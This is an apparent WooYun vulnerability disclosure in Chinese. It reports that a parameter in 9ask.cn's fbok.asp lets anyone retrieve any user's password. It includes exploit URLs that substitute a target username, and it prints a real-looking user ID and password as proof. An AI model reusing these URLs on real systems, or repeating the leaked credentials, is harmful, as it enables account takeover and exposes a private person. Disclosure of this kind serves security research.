漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-077645
漏洞标题：中顾法律网数万用户数据泄露成功事件
相关厂商：9ask.cn
漏洞作者： 0x 80
提交时间：2014-09-28 17:03
修复时间：2014-10-03 17:04
公开时间：2014-10-03 17:04
漏洞类型：用户资料大量泄漏
危害等级：高
自评Rank：20
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-09-28： 细节已通知厂商并且等待厂商处理中
2014-10-03： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
大量用户数据密码泄露事件
详细说明：
好吧
也算是大站了
========================
具体细节
做漏洞挖掘研究发现的
其他站的SQL注入的太多了
先讲这个
地址：http://www.9ask.cn/
由于fbok没有对后面的扩展参数做加密处理
这时候导致我们在查询keyS中，不需要任何改动
这时候只需要在username?id=,查询到我们想到的
利用委托的ID，替换，你懂的
利用方法：利用委托模式，查询到任意用户密码，至少上万数据
百度权重：6 关键词数：15326 预估百度流量：21873 IP 站长排名：4646
pr Google 6 搜狗 8
=====================================
漏洞证明：
比如我们查询admin，就替换下
http://www.9ask.cn/souask/fbok.asp?fenleiid=21&fid=3&newid=6711237&act=add&keys=&pname=9&usernmae=admin
查询任意用户
更简单
随便打开网站，找到任意一个委托的号码
比如
记住当前的提问者ID
提问者： A39241630161
替换
http://www.9ask.cn/souask/fbok.asp?fenleiid=21&fid=3&newid=6711237&act=add&keys=&pname=9&usernmae=A39241630161
尝试能否登录
用户名:A39241630161 密码:542642
不解释了。
呵呵=============================
修复方案：
版权声明：转载请注明来源 0x 80@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2014-10-03 17:04
厂商回复：
最新状态：
暂无